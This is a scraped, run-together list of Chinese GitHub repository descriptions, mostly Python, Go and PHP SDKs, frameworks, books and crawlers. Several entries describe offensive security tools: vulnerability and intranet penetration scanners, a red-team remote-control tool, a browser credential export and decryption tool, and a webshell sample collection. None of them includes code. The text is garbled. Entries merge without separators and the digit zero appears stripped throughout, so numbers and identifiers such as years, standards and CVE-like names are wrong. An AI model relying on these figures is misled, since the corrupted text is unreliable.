关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 